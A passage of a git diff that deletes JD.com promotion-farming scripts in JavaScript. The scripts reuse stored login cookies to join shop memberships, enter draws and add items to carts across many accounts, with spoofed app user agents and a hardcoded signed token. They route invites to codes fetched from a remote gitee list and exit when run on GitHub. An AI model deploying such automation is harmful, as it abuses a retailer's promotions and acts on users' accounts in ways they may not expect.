$.logErr(e, resp) - } finally { - resolve(data || []); - } - }) - await $.wait(10000) - resolve(); - }) -} -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} -var hexcase = 0; /* hex output format. 0 - lowercase; 1 - uppercase */ -var chrsz = 8; /* bits per input character. 8 - ASCII; 16 - Unicode */ -function AA(s){ return binl2hex(core_md5(str2binl(s), s.length * chrsz));} -function core_md5(x, len){/* append padding */x[len >> 5] |= 0x80 << ((len) % 32);x[(((len + 64) >>> 9) << 4) + 14] = len;var a = 1732584193;var b = -271733879;var c = -1732584194;var d = 271733878;for(var i = 0; i < x.length; i += 16){var olda = a;var oldb = b;var oldc = c;var oldd = d;a = md5_ff(a, b, c, d, x[i+ 0], 7 , -680876936);d = md5_ff(d, a, b, c, x[i+ 1], 12, -389564586);c = md5_ff(c, d, a, b, x[i+ 2], 17, 606105819);b = md5_ff(b, c, d, a, x[i+ 3], 22, -1044525330);a = md5_ff(a, b, c, d, x[i+ 4], 7 , -176418897);d = md5_ff(d, a, b, c, x[i+ 5], 12, 1200080426);c = md5_ff(c, d, a, b, x[i+ 6], 17, -1473231341);b = md5_ff(b, c, d, a, x[i+ 7], 22, -45705983);a = md5_ff(a, b, c, d, x[i+ 8], 7 , 1770035416);d = md5_ff(d, a, b, c, x[i+ 9], 12, -1958414417);c = md5_ff(c, d, a, b, x[i+10], 17, -42063);b = md5_ff(b, c, d, a, x[i+11], 22, -1990404162);a = md5_ff(a, b, c, d, x[i+12], 7 , 1804603682);d = md5_ff(d, a, b, c, x[i+13], 12, -40341101);c = md5_ff(c, d, a, b, x[i+14], 17, -1502002290);b = md5_ff(b, c, d, a, x[i+15], 22, 1236535329);a = md5_gg(a, b, c, d, x[i+ 1], 5 , -165796510);d = md5_gg(d, a, b, c, x[i+ 6], 9 , -1069501632);c = md5_gg(c, d, a, b, x[i+11], 14, 643717713);b = md5_gg(b, c, d, a, x[i+ 0], 20, -373897302);a = md5_gg(a, b, c, d, x[i+ 5], 5 , -701558691);d = md5_gg(d, a, b, c, x[i+10], 9 , 38016083);c = md5_gg(c, d, a, b, x[i+15], 14, -660478335);b = md5_gg(b, c, d, a, x[i+ 4], 20, -405537848);a = md5_gg(a, b, c, d, x[i+ 9], 5 , 568446438);d = md5_gg(d, a, b, c, x[i+14], 9 , -1019803690);c = md5_gg(c, d, a, b, x[i+ 3], 14, -187363961);b = md5_gg(b, c, d, a, x[i+ 8], 20, 1163531501);a = md5_gg(a, b, c, d, x[i+13], 5 , -1444681467);d = md5_gg(d, a, b, c, x[i+ 2], 9 , -51403784);c = md5_gg(c, d, a, b, x[i+ 7], 14, 1735328473);b = md5_gg(b, c, d, a, x[i+12], 20, -1926607734);a = md5_hh(a, b, c, d, x[i+ 5], 4 , -378558);d = md5_hh(d, a, b, c, x[i+ 8], 11, -2022574463);c = md5_hh(c, d, a, b, x[i+11], 16, 1839030562);b = md5_hh(b, c, d, a, x[i+14], 23, -35309556);a = md5_hh(a, b, c, d, x[i+ 1], 4 , -1530992060);d = md5_hh(d, a, b, c, x[i+ 4], 11, 1272893353);c = md5_hh(c, d, a, b, x[i+ 7], 16, -155497632);b = md5_hh(b, c, d, a, x[i+10], 23, -1094730640);a = md5_hh(a, b, c, d, x[i+13], 4 , 681279174);d = md5_hh(d, a, b, c, x[i+ 0], 11, -358537222);c = md5_hh(c, d, a, b, x[i+ 3], 16, -722521979);b = md5_hh(b, c, d, a, x[i+ 6], 23, 76029189);a = md5_hh(a, b, c, d, x[i+ 9], 4 , -640364487);d = md5_hh(d, a, b, c, x[i+12], 11, -421815835);c = md5_hh(c, d, a, b, x[i+15], 16, 530742520);b = md5_hh(b, c, d, a, x[i+ 2], 23, -995338651);a = md5_ii(a, b, c, d, x[i+ 0], 6 , -198630844);d = md5_ii(d, a, b, c, x[i+ 7], 10, 1126891415);c = md5_ii(c, d, a, b, x[i+14], 15, -1416354905);b = md5_ii(b, c, d, a, x[i+ 5], 21, -57434055);a = md5_ii(a, b, c, d, x[i+12], 6 , 1700485571);d = md5_ii(d, a, b, c, x[i+ 3], 10, -1894986606);c = md5_ii(c, d, a, b, x[i+10], 15, -1051523);b = md5_ii(b, c, d, a, x[i+ 1], 21, -2054922799);a = md5_ii(a, b, c, d, x[i+ 8], 6 , 1873313359);d = md5_ii(d, a, b, c, x[i+15], 10, -30611744);c = md5_ii(c, d, a, b, x[i+ 6], 15, -1560198380);b = md5_ii(b, c, d, a, x[i+13], 21, 1309151649);a = md5_ii(a, b, c, d, x[i+ 4], 6 , -145523070);d = md5_ii(d, a, b, c, x[i+11], 10, -1120210379);c = md5_ii(c, d, a, b, x[i+ 2], 15, 718787259);b = md5_ii(b, c, d, a, x[i+ 9], 21, -343485551);a = safe_add(a, olda);b = safe_add(b, oldb);c = safe_add(c, oldc);d = safe_add(d, oldd);}return Array(a, b, c, d);}function md5_cmn(q, a, b, x, s, t){return safe_add(bit_rol(safe_add(safe_add(a, q), safe_add(x, t)), s),b);}function md5_ff(a, b, c, d, x, s, t){return md5_cmn((b & c) | ((~b) & d), a, b, x, s, t);}function md5_gg(a, b, c, d, x, s, t){return md5_cmn((b & d) | (c & (~d)), a, b, x, s, t);}function md5_hh(a, b, c, d, x, s, t){return md5_cmn(b ^ c ^ d, a, b, x, s, t);}function md5_ii(a, b, c, d, x, s, t){return md5_cmn(c ^ (b | (~d)), a, b, x, s, t);}function safe_add(x, y){var lsw = (x & 0xFFFF) + (y & 0xFFFF);var msw = (x >> 16) + (y >> 16) + (lsw >> 16);return (msw << 16) | (lsw & 0xFFFF);}function bit_rol(num, cnt){return (num << cnt) | (num >>> (32 - cnt));}function str2binl(str){var bin = Array();var mask = (1 << chrsz) - 1;for(var i = 0; i < str.length * chrsz; i += chrsz)bin[i>>5] |= (str.charCodeAt(i / chrsz) & mask) << (i%32);return bin;}function binl2hex(binarray){var hex_tab = hexcase ? "0123456789ABCDEF" : "0123456789abcdef";var str = "";for(var i = 0; i < binarray.length * 4; i++){str += hex_tab.charAt((binarray[i>>2] >> ((i%4)*8+4)) & 0xF) +hex_tab.charAt((binarray[i>>2] >> ((i%4)*8 )) & 0xF);}return str;} - diff --git a/backUp/jd_jinggengjcq_dapainew.js b/backUp/jd_jinggengjcq_dapainew.js deleted file mode 100644 index 398464f..0000000 --- a/backUp/jd_jinggengjcq_dapainew.js +++ /dev/null @@ -1,535 +0,0 @@ - -const $ = new Env("大牌联合"); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -const cp = $.isNode() ? require('child_process') : ''; -let cookiesArr = [], cookie = '', message = ''; -const Base64 = require("js-base64") -let ownCode = null; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - let cookiesData = $.getdata('CookiesJD') || "[]"; - cookiesData = JSON.parse(cookiesData); - cookiesArr = cookiesData.map(item => item.cookie); - cookiesArr.reverse(); - cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); - cookiesArr.reverse(); - cookiesArr = cookiesArr.filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - authorCodeList = await getAuthorCodeList('https://gitee.com/fatelight/dongge/raw/master/dongge/jinggengjcq_dapainew.json') - if(authorCodeList === '404: Not Found'){ - authorCodeList = [ - 'fuMB6t0LHdtq7Dc8pm+TwF4tLNYA4seuA67MOIYQxEk3Vl9+AVo4NF+tgyeIc6A6kdK3rLBQpEQH9V4tdrrh0w==', - ] - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i] - originCookie = cookiesArr[i] - newCookie = '' - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await checkCookie(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - if ($.isNode()) { - // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - $.bean = 0; - $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); - $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); - $.appkey = "51B59BB805903DA4CE513D29EC448375" - $.userId = "10299171" - $.actId = "5256d57baccc480f94_11012" - $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] - console.log('去助力 -> '+$.authorCode); - await openCardNew(); - if ($.bean > 0) { - message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` - } - } - } - if (message !== '') { - if ($.isNode()) { - await notify.sendNotify($.name, message, '', `\n`); - } else { - $.msg($.name, '有点儿收获', message); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - - -async function openCardNew() { - $.token = null; - $.buyerNick = null; - $.activityInfo = null; - await getToken(); - if ($.token) { - await task('activity_load', { - "actId": $.actId, - "inviteNick": $.authorCode, - "jdToken": $.token, - "source": "01", - }) - if ($.buyerNick) { - console.log('1.助力码 -> '+$.buyerNick) - if ($.index === 1) { - ownCode = $.buyerNick - console.log("后面的将给这个助力码助力 -> "+ownCode) - } - console.log('2.绑定助力 ->') - await task('complete/mission', { - "actId": $.actId, - "missionType": "relationBind", - "inviterNick": $.authorCode, - }) - await task('shopList', { - "actId": $.actId, - }) - console.log('3.关注店铺 ->') - await task('complete/mission', { - "actId": $.actId, - "missionType": "uniteCollectShop", - }) - console.log('4.抽奖 ->') - await task('draw/post', { - "actId": $.actId, - "usedGameNum": "2", - "dataType": "draw", - }) - console.log('5.加入会员 ->') - if ($.shopList) { - console.log('会员卡数量 -> '+$.shopList.length) - for (const vo of $.shopList) { - $.log(`${vo.userId}`) - if (!vo.open) { - $.log("开通会员") - await getShopOpenCardInfo(vo.userId) - await bindWithVender(vo.userId) - await task('complete/mission', { - "actId": $.actId, - "shopId": vo.userId, - "missionType": "openCard", - }) - await $.wait(3000) - } else { - $.log("已经是会员了") - } - await $.wait(500) - } - } - console.log('6.加入购物车 ->') - await task('complete/mission', { - "actId": $.actId, - "missionType": "uniteAddCart", - }) - } else { - $.log("没有成功获取到用户信息") - } - } else { - $.log("没有成功获取到用户鉴权信息") - } -} - -function task(function_id, preParams) { - body = { - "jsonRpc": "2.0", - "params": { - "commonParameter": { - "appkey": $.appkey, - "m": "POST", - "timestamp": new Date(), - "userId": $.userId - }, - "admJson": { - "method": `/openCardNew/${function_id}`, - "userId": $.userId, - "buyerNick": $.buyerNick ? $.buyerNick : "" - } - } - } - Object.assign(body.params.admJson, preParams) - return new Promise(resolve => { - $.post(taskUrl(function_id, body), async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - - if (data) { - data = JSON.parse(data); - if (data.success) { - if (data.data.status === 200) { - switch (function_id) { - case 'activity_load': - $.buyerNick = data.data.data.buyerNick; - console.log("[ "+data.data.data.cusActivity.actName+" ]"); - break; - case 'shopList': - $.shopList = data.data.data.cusShops; - break; - case 'complete/mission': - console.log(data.data.data.remark); - break; - case 'draw/post': - console.log(data.data.data.awardSetting.awardName); - break; - default: - break; - } - } - } - - } else { - $.log("京东没有返回数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function getShopOpenCardInfo(venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify({ venderId: venderId, channel: 401 }))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent('https://jinggengjcq-isv.isvjcloud.com/fronth5')}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.interestsRuleList) { - $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function bindWithVender(venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify({ "venderId": venderId, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "channel": 401 }))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent('https://jinggengjcq-isv.isvjcloud.com/fronth5')}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - console.log("开卡成功") - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function taskUrl(function_id, body) { - return { - url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/openCardNew/${function_id}?&mix_nick=${$.buyerNick ? $.buyerNick : ""}`, - headers: { - Host: 'jinggengjcq-isv.isvjcloud.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/json; charset=utf-8', - Origin: 'https://jinggengjcq-isv.isvjcloud.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: 'https://jinggengjcq-isv.isvjcloud.com/fronth5/', - Cookie: cookie - }, - body: JSON.stringify(body) - - } -} - -function getMyPing() { - let opt = { - url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, - headers: { - Host: 'lzdz1-isv.isvjcloud.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzdz1-isv.isvjcloud.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie, - }, - body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (data) { - data = JSON.parse(data) - if (data.result) { - $.log(`你好:${data.data.nickname}`) - $.pin = data.data.nickname; - $.secretPin = data.data.secretPin; - cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` - } else { - $.log(data.errorMessage) - } - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - - }) - }) -} -function getFirstLZCK() { - return new Promise(resolve => { - $.get({ url: $.activityUrl }, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - }) -} -function getAuthorCodeList(url) { - return new Promise(resolve => { - const options = { - url: `${url}?${new Date()}`, "timeout": 10000, headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - $.get(options, async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) data = JSON.parse(data) - } - } catch (e) { - $.logErr(e, resp) - data = null; - } finally { - resolve(data); - } - }) - }) -} -function getToken() { - let opt = { - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - headers: { - Host: 'api.m.jd.com', - 'Content-Type': 'application/x-www-form-urlencoded', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', - 'Accept-Language': 'zh-Hans-CN;q=1', - 'Accept-Encoding': 'gzip, deflate, br', - }, - body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.code === "0") { - $.token = data.token - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function random(min, max) { - - return Math.floor(Math.random() * (max - min)) + min; - -} -function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { - return format.replace(/[xy]/g, function (c) { - var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); - if (UpperCase) { - uuid = v.toString(36).toUpperCase(); - } else { - uuid = v.toString(36) - } - return uuid; - }); -} -function checkCookie() { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - "Host": "me-api.jd.com", - "Accept": "*/*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br", - } - }; - return new Promise(resolve => { - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.retcode === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - $.log('京东返回了空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) 